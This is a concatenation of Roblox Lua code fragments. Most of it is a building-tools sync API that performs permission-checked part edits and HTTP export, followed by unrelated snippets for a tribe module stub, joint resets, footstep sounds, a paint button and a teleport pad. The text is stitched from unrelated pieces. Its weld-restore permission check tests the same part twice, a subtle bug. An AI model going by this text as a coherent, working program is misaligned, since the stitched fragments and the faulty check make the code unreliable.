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-- List of actions that could be requested
Actions = { ['RecolorHandle'] = function (NewColor) -- Recolors the tool handle Tool.Handle.BrickColor = NewColor; end; ['Clone'] = function (Parts) -- Clones the given parts -- Make sure the given items are all parts if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then return; end; local Clones = {}; -- Clone the parts for _, Part in pairs(Parts) do -- Create the clone local Clone = Part:Clone(); Clone.Parent = Options.DefaultPartParent; -- Register the clone table.insert(Clones, Clone); CreatedInstances[Part] = Part; end; -- Return the clones return Clones; end; ['CreatePart'] = function (PartType, Position) -- Creates a new part based on `PartType` -- Create the part local NewPart = Support.CreatePart(PartType); NewPart.TopSurface = Enum.SurfaceType.Smooth; NewPart.BottomSurface = Enum.SurfaceType.Smooth; -- Position the part NewPart.CFrame = Position; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas({ NewPart }), Player); -- Make sure the player is allowed to create parts in the area if Security.ArePartsViolatingAreas({ NewPart }, Player, false, AreaPermissions) then return; end; -- Parent the part NewPart.Parent = Options.DefaultPartParent; -- Register the part CreatedInstances[NewPart] = NewPart; -- Return the part return NewPart; end; ['Remove'] = function (Objects) -- Removes the given objects -- Get the relevant parts for each object, for permission checking local Parts = {}; -- Go through the selection for _, Object in pairs(Objects) do -- Make sure the object still exists if Object then if Object:IsA 'BasePart' then table.insert(Parts, Object); elseif Object:IsA 'Smoke' or Object:IsA 'Fire' or Object:IsA 'Sparkles' or Object:IsA 'DataModelMesh' or Object:IsA 'Decal' or Object:IsA 'Texture' or Object:IsA 'Light' then table.insert(Parts, Object.Parent); end; end; end; -- Ensure relevant parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- After confirming permissions, perform each removal for _, Object in pairs(Objects) do -- Store the part's current parent LastParents[Object] = Object.Parent; -- Register the object CreatedInstances[Object] = Object; -- Set the object's current parent to `nil` Object.Parent = nil; end; end; ['UndoRemove'] = function (Objects) -- Restores the given removed objects to their last parents -- Get the relevant parts for each object, for permission checking local Parts = {}; -- Go through the selection for _, Object in pairs(Objects) do -- Make sure the object still exists, and that its last parent is registered if Object and LastParents[Object] then if Object:IsA 'BasePart' then table.insert(Parts, Object); elseif Object:IsA 'Smoke' or Object:IsA 'Fire' or Object:IsA 'Sparkles' or Object:IsA 'DataModelMesh' or Object:IsA 'Decal' or Object:IsA 'Texture' or Object:IsA 'Light' then table.insert(Parts, Object.Parent); end; end; end; -- Ensure relevant parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then return; end; -- After confirming permissions, perform each removal for _, Object in pairs(Objects) do -- Store the part's current parent local LastParent = LastParents[Object]; LastParents[Object] = Object.Parent; -- Register the object CreatedInstances[Object] = Object; -- Set the object's parent to the last parent Object.Parent = LastParent; end; end; ['SyncMove'] = function (Changes) -- Updates parts server-side given their new CFrames -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then Change.InitialState = { Anchored = Change.Part.Anchored, CFrame = Change.Part.CFrame }; ChangeSet[Change.Part] = Change; end; end; -- Preserve joints for Part, Change in pairs(ChangeSet) do Change.Joints = PreserveJoints(Part, ChangeSet); end; -- Perform each change for Part, Change in pairs(ChangeSet) do -- Stabilize the parts and maintain the original anchor state Part.Anchored = true; Part:BreakJoints(); Part.Velocity = Vector3.new(); Part.RotVelocity = Vector3.new(); -- Set the part's CFrame Part.CFrame = Change.CFrame; end; -- Make sure the player is authorized to move parts into this area if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then -- Revert changes if unauthorized destination for Part, Change in pairs(ChangeSet) do Part.CFrame = Change.InitialState.CFrame; end; end; -- Restore the parts' original states for Part, Change in pairs(ChangeSet) do Part:MakeJoints(); RestoreJoints(Change.Joints); Part.Anchored = Change.InitialState.Anchored; end; end; ['SyncResize'] = function (Changes) -- Updates parts server-side given their new sizes and CFrames -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then Change.InitialState = { Anchored = Change.Part.Anchored, Size = Change.Part.Size, CFrame = Change.Part.CFrame }; ChangeSet[Change.Part] = Change; end; end; -- Perform each change for Part, Change in pairs(ChangeSet) do -- Stabilize the parts and maintain the original anchor state Part.Anchored = true; Part:BreakJoints(); Part.Velocity = Vector3.new(); Part.RotVelocity = Vector3.new(); -- Set the part's size and CFrame Part.Size = Change.Size; Part.CFrame = Change.CFrame; end; -- Make sure the player is authorized to move parts into this area if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then -- Revert changes if unauthorized destination for Part, Change in pairs(ChangeSet) do Part.Size = Change.InitialState.Size; Part.CFrame = Change.InitialState.CFrame; end; end; -- Restore the parts' original states for Part, Change in pairs(ChangeSet) do Part:MakeJoints(); Part.Anchored = Change.InitialState.Anchored; end; end; ['SyncRotate'] = function (Changes) -- Updates parts server-side given their new CFrames -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then Change.InitialState = { Anchored = Change.Part.Anchored, CFrame = Change.Part.CFrame }; ChangeSet[Change.Part] = Change; end; end; -- Preserve joints for Part, Change in pairs(ChangeSet) do Change.Joints = PreserveJoints(Part, ChangeSet); end; -- Perform each change for Part, Change in pairs(ChangeSet) do -- Stabilize the parts and maintain the original anchor state Part.Anchored = true; Part:BreakJoints(); Part.Velocity = Vector3.new(); Part.RotVelocity = Vector3.new(); -- Set the part's CFrame Part.CFrame = Change.CFrame; end; -- Make sure the player is authorized to move parts into this area if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then -- Revert changes if unauthorized destination for Part, Change in pairs(ChangeSet) do Part.CFrame = Change.InitialState.CFrame; end; end; -- Restore the parts' original states for Part, Change in pairs(ChangeSet) do Part:MakeJoints(); RestoreJoints(Change.Joints); Part.Anchored = Change.InitialState.Anchored; end; end; ['SyncColor'] = function (Changes) -- Updates parts server-side given their new colors -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Perform each change for Part, Change in pairs(ChangeSet) do -- Set the part's color Part.Color = Change.Color; -- If this part is a union, set its UsePartColor state if Part.ClassName == 'UnionOperation' then Part.UsePartColor = Change.UnionColoring; end; end; end; ['SyncSurface'] = function (Changes) -- Updates parts server-side given their new surfaces -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Perform each change for Part, Change in pairs(ChangeSet) do -- Apply each surface change for Surface, SurfaceType in pairs(Change.Surfaces) do Part[Surface .. 'Surface'] = SurfaceType; end; end; end; ['CreateLights'] = function (Changes) -- Creates lights in the given parts -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Make a list of allowed light type requests local AllowedLightTypes = { PointLight = true, SurfaceLight = true, SpotLight = true }; -- Keep track of the newly created lights local Lights = {}; -- Create each light for Part, Change in pairs(ChangeSet) do -- Make sure the requested light type is valid if AllowedLightTypes[Change.LightType] then -- Create the light local Light = Instance.new(Change.LightType, Part); table.insert(Lights, Light); -- Register the light CreatedInstances[Light] = Light; end; end; -- Return the new lights return Lights; end; ['SyncLighting'] = function (Changes) -- Updates aspects of the given selection's lights -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Make a list of allowed light type requests local AllowedLightTypes = { PointLight = true, SurfaceLight = true, SpotLight = true }; -- Update each part's lights for Part, Change in pairs(ChangeSet) do -- Make sure that the light type requested is valid if AllowedLightTypes[Change.LightType] then -- Grab the part's light local Light = Support.GetChildOfClass(Part, Change.LightType); -- Make sure the light exists if Light then -- Make the requested changes if Change.Range ~= nil then Light.Range = Change.Range; end; if Change.Brightness ~= nil then Light.Brightness = Change.Brightness; end; if Change.Color ~= nil then Light.Color = Change.Color; end; if Change.Shadows ~= nil then Light.Shadows = Change.Shadows; end; if Change.Face ~= nil then Light.Face = Change.Face; end; if Change.Angle ~= nil then Light.Angle = Change.Angle; end; end; end; end; end; ['CreateDecorations'] = function (Changes) -- Creates decorations in the given parts -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Make a list of allowed decoration type requests local AllowedDecorationTypes = { Smoke = true, Fire = true, Sparkles = true }; -- Keep track of the newly created decorations local Decorations = {}; -- Create each decoration for Part, Change in pairs(ChangeSet) do -- Make sure the requested decoration type is valid if AllowedDecorationTypes[Change.DecorationType] then -- Create the decoration local Decoration = Instance.new(Change.DecorationType, Part); table.insert(Decorations, Decoration); -- Register the decoration CreatedInstances[Decoration] = Decoration; end; end; -- Return the new decorations return Decorations; end; ['SyncDecorate'] = function (Changes) -- Updates aspects of the given selection's decorations -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Make a list of allowed decoration type requests local AllowedDecorationTypes = { Smoke = true, Fire = true, Sparkles = true }; -- Update each part's decorations for Part, Change in pairs(ChangeSet) do -- Make sure that the decoration type requested is valid if AllowedDecorationTypes[Change.DecorationType] then -- Grab the part's decoration local Decoration = Support.GetChildOfClass(Part, Change.DecorationType); -- Make sure the decoration exists if Decoration then -- Make the requested changes if Change.Color ~= nil then Decoration.Color = Change.Color; end; if Change.Opacity ~= nil then Decoration.Opacity = Change.Opacity; end; if Change.RiseVelocity ~= nil then Decoration.RiseVelocity = Change.RiseVelocity; end; if Change.Size ~= nil then Decoration.Size = Change.Size; end; if Change.Heat ~= nil then Decoration.Heat = Change.Heat; end; if Change.SecondaryColor ~= nil then Decoration.SecondaryColor = Change.SecondaryColor; end; if Change.SparkleColor ~= nil then Decoration.SparkleColor = Change.SparkleColor; end; end; end; end; end; ['CreateMeshes'] = function (Changes) -- Creates meshes in the given parts -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Keep track of the newly created meshes local Meshes = {}; -- Create each mesh for Part, Change in pairs(ChangeSet) do -- Create the mesh local Mesh = Instance.new('SpecialMesh', Part); table.insert(Meshes, Mesh); -- Register the mesh CreatedInstances[Mesh] = Mesh; end; -- Return the new meshes return Meshes; end; ['SyncMesh'] = function (Changes) -- Updates aspects of the given selection's meshes -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Update each part's meshes for Part, Change in pairs(ChangeSet) do -- Grab the part's mesh local Mesh = Support.GetChildOfClass(Part, 'SpecialMesh'); -- Make sure the mesh exists if Mesh then -- Make the requested changes if Change.VertexColor ~= nil then Mesh.VertexColor = Change.VertexColor; end; if Change.MeshType ~= nil then Mesh.MeshType = Change.MeshType; end; if Change.Scale ~= nil then Mesh.Scale = Change.Scale; end; if Change.Offset ~= nil then Mesh.Offset = Change.Offset; end; if Change.MeshId ~= nil then Mesh.MeshId = Change.MeshId; end; if Change.TextureId ~= nil then Mesh.TextureId = Change.TextureId; end; end; end; end; ['CreateTextures'] = function (Changes) -- Creates textures in the given parts -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Make a list of allowed texture type requests local AllowedTextureTypes = { Texture = true, Decal = true }; -- Keep track of the newly created textures local Textures = {}; -- Create each texture for Part, Change in pairs(ChangeSet) do -- Make sure the requested light type is valid if AllowedTextureTypes[Change.TextureType] then -- Create the texture local Texture = Instance.new(Change.TextureType, Part); Texture.Face = Change.Face; table.insert(Textures, Texture); -- Register the texture CreatedInstances[Texture] = Texture; end; end; -- Return the new textures return Textures; end; ['SyncTexture'] = function (Changes) -- Updates aspects of the given selection's textures -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Make a list of allowed texture type requests local AllowedTextureTypes = { Texture = true, Decal = true }; -- Update each part's textures for Part, Change in pairs(ChangeSet) do -- Make sure that the texture type requested is valid if AllowedTextureTypes[Change.TextureType] then -- Get the right textures within the part for _, Texture in pairs(Part:GetChildren()) do if Texture.ClassName == Change.TextureType and Texture.Face == Change.Face then -- Perform the changes if Change.Texture ~= nil then Texture.Texture = Change.Texture; end; if Change.Transparency ~= nil then Texture.Transparency = Change.Transparency; end; if Change.StudsPerTileU ~= nil then Texture.StudsPerTileU = Change.StudsPerTileU; end; if Change.StudsPerTileV ~= nil then Texture.StudsPerTileV = Change.StudsPerTileV; end; end; end; end; end; end; ['SyncAnchor'] = function (Changes) -- Updates parts server-side given their new anchor status -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Perform each change for Part, Change in pairs(ChangeSet) do Part.Anchored = Change.Anchored; end; end; ['SyncCollision'] = function (Changes) -- Updates parts server-side given their new collision status -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Perform each change for Part, Change in pairs(ChangeSet) do Part.CanCollide = Change.CanCollide; end; end; ['SyncMaterial'] = function (Changes) -- Updates parts server-side given their new material -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Perform each change for Part, Change in pairs(ChangeSet) do if Change.Material ~= nil then Part.Material = Change.Material; end; if Change.Transparency ~= nil then Part.Transparency = Change.Transparency; end; if Change.Reflectance ~= nil then Part.Reflectance = Change.Reflectance; end; end; end; ['CreateWelds'] = function (Parts, TargetPart) -- Creates welds for the given parts to the target part -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; local Welds = {}; -- Create the welds for _, Part in pairs(Parts) do -- Make sure we're not welding this part to itself if Part ~= TargetPart then -- Calculate the offset of the part from the target part local Offset = Part.CFrame:toObjectSpace(TargetPart.CFrame); -- Create the weld local Weld = Instance.new('Weld'); Weld.Name = 'BTWeld'; Weld.Part0 = TargetPart; Weld.Part1 = Part; Weld.C1 = Offset; Weld.Archivable = true; Weld.Parent = TargetPart; -- Register the weld CreatedInstances[Weld] = Weld; table.insert(Welds, Weld); end; end; -- Return the welds created return Welds; end; ['RemoveWelds'] = function (Welds) -- Removes the given welds local Parts = {}; -- Go through each weld for _, Weld in pairs(Welds) do -- Make sure each given weld is valid if Weld.ClassName ~= 'Weld' then return; end; -- Collect the relevant parts for this weld table.insert(Parts, Weld.Part0); table.insert(Parts, Weld.Part1); end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; local WeldsRemoved = 0; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Go through each weld for _, Weld in pairs(Welds) do -- Check the permissions on each weld-related part local Part0Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part0 }, Player, true, AreaPermissions); local Part1Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part1 }, Player, true, AreaPermissions); -- If at least one of the involved parts is authorized, remove the weld if not Part0Unauthorized or not Part1Unauthorized then -- Register the weld CreatedInstances[Weld] = Weld; LastParents[Weld] = Weld.Parent; WeldsRemoved = WeldsRemoved + 1; -- Remove the weld Weld.Parent = nil; end; end; -- Return the number of welds removed return WeldsRemoved; end; ['UndoRemovedWelds'] = function (Welds) -- Restores the given removed welds local Parts = {}; -- Go through each weld for _, Weld in pairs(Welds) do -- Make sure each given weld is valid if Weld.ClassName ~= 'Weld' then return; end; -- Make sure each weld has its old parent registered if not LastParents[Weld] then return; end; -- Collect the relevant parts for this weld table.insert(Parts, Weld.Part0); table.insert(Parts, Weld.Part1); end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Go through each weld for _, Weld in pairs(Welds) do -- Check the permissions on each weld-related part local Part0Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part0 }, Player, false, AreaPermissions); local Part1Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part0 }, Player, false, AreaPermissions); -- If at least one of the involved parts is authorized, restore the weld if not Part0Unauthorized or not Part1Unauthorized then -- Store the part's current parent local LastParent = LastParents[Weld]; LastParents[Weld] = Weld.Parent; -- Register the weld CreatedInstances[Weld] = Weld; -- Set the weld's parent to the last parent Weld.Parent = LastParent; end; end; end; ['Export'] = function (Parts) -- Serializes, exports, and returns ID for importing given parts -- Offload action to server-side if API is running locally if RunService:IsClient() and not RunService:IsStudio() then return SyncAPI.ServerEndpoint:InvokeServer('Export', Parts); end; -- Ensure valid selection assert(type(Parts) == 'table', 'Invalid item table'); -- Ensure there are items to export if #Parts == 0 then return; end; -- Ensure parts are selectable if not ArePartsSelectable(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to access these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Get all descendants of the parts local Items = Support.CloneTable(Parts); for _, Part in pairs(Parts) do Support.ConcatTable(Items, Support.GetAllDescendants(Part)); end; -- After confirming permissions, serialize parts local SerializedBuildData = Serialization.SerializeModel(Items); -- Push serialized data to server local Response = HttpService:JSONDecode( HttpService:PostAsync( 'http://f3xteam.com/bt/export', HttpService:JSONEncode { data = SerializedBuildData, version = 3, userId = (Player and Player.UserId) }, Enum.HttpContentType.ApplicationJson, true ) ); -- Return creation ID on success if Response.success then return Response.id; else error('Export failed due to server-side error', 2); end; end; ['IsHttpServiceEnabled'] = function () -- Returns whether HttpService is enabled -- Offload action to server-side if API is running locally if RunService:IsClient() and not RunService:IsStudio() then return SyncAPI.ServerEndpoint:InvokeServer('IsHttpServiceEnabled'); end; -- For in-game tool, return cached status if available if ToolMode == 'Tool' and (IsHttpServiceEnabled ~= nil) then return IsHttpServiceEnabled; end; -- Perform test HTTP request local Success, Error = pcall(function () return HttpService:GetAsync('http://google.com'); end); -- Determine whether HttpService is enabled if not Success and Error:match 'Http requests are not enabled' then IsHttpServiceEnabled = false; elseif Success then IsHttpServiceEnabled = true; end; -- Return HttpService status return IsHttpServiceEnabled; end; ['ExtractMeshFromAsset'] = function (AssetId) -- Returns the first found mesh in the given asset -- Offload action to server-side if API is running locally if RunService:IsClient() and not RunService:IsStudio() then return SyncAPI.ServerEndpoint:InvokeServer('ExtractMeshFromAsset', AssetId); end; -- Ensure valid asset ID is given assert(type(AssetId) == 'number', 'Invalid asset ID'); -- Return parsed response from API return HttpService:JSONDecode( HttpService:GetAsync('http://f3xteam.com/bt/getFirstMeshData/' .. AssetId) ); end; ['ExtractImageFromDecal'] = function (DecalAssetId) -- Returns the first image found in the given decal asset -- Offload action to server-side if API is running locally if RunService:IsClient() and not RunService:IsStudio() then return SyncAPI.ServerEndpoint:InvokeServer('ExtractImageFromDecal', DecalAssetId); end; -- Return direct response from the API return HttpService:GetAsync('http://f3xteam.com/bt/getDecalImageID/' .. DecalAssetId); end; ['SetMouseLockEnabled'] = function (Enabled) -- Sets whether mouse lock is enabled for the current player -- Offload action to server-side if API is running locally if RunService:IsClient() and not RunService:IsStudio() then return SyncAPI.ServerEndpoint:InvokeServer('SetMouseLockEnabled', Enabled); end; -- Set whether mouse lock is enabled Player.DevEnableMouseLock = Enabled; end; }; function ArePartsSelectable(Parts) -- Returns whether the parts are selectable -- Check whether each part is selectable for _, Part in pairs(Parts) do if not Part:IsA 'BasePart' or Part.Locked then return false; end; end; -- Return true if all parts are selectable return true; end;
-- INTER-TRIBE DIPLOMACY
function TribeModule:ToggleDiplomacy(tribeA,tribeB,diplomacy) end return TribeModule
--Motor6D's
local neck = torso.Neck neck.C1 = CFrame.new(0,0,0) local leftshoulder = torso["Left Shoulder"] leftshoulder.C1 = CFrame.new(0,0,0) local rightshoulder = torso["Right Shoulder"] rightshoulder.C1 = CFrame.new(0,0,0) local lefthip = torso["Left Hip"] lefthip.C1 = CFrame.new(0,0,0) local righthip = torso["Right Hip"] righthip.C1 = CFrame.new(0,0,0) local root = npc.HumanoidRootPart.RootJoint root.C1 = CFrame.new(0,0,0)
-- check if the player is moving and not climbing
humanoid.Running:Connect(function(speed) if humanoid.MoveDirection.Magnitude > 0 and speed > 0 and humanoid:GetState() ~= Enum.HumanoidStateType.Climbing then getSoundProperties() update() currentSound.Playing = true currentSound.Looped = true else currentSound:Stop() end end)
--health.Changed:connect(function() --root.Hurt.Pitch = root.Hurt.OriginalPitch.Value+(math.random(-100,100)/100) --root.Hurt:Play() --end) --
--[=[ Returns true when we're animating @return boolean -- True if animating ]=]
function SpringObject:IsAnimating() return (SpringUtils.animating(self._currentSpring)) end
--!strict --CacheManager --Yuuwa0519 --2022-03-16
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("Plum",Paint) end)
--> FUNCTIONS
script.Parent.Touched:Connect(function(Hit) if not Touched then if Hit.Parent:FindFirstChildOfClass("Humanoid") then Player = game:GetService("Players")[Hit.Parent.Name] elseif Hit.Parent.Parent:FindFirstChildOfClass("Humanoid") then Player = game:GetService("Players")[Hit.Parent.Parent.Name] end if Player ~= nil then Touched = true game:GetService("TeleportService"):TeleportAsync(script.Parent.Parent.GameID.Value, {Player}) Player = nil wait(.2) Touched = false end end end)
-- Remade by Truenus
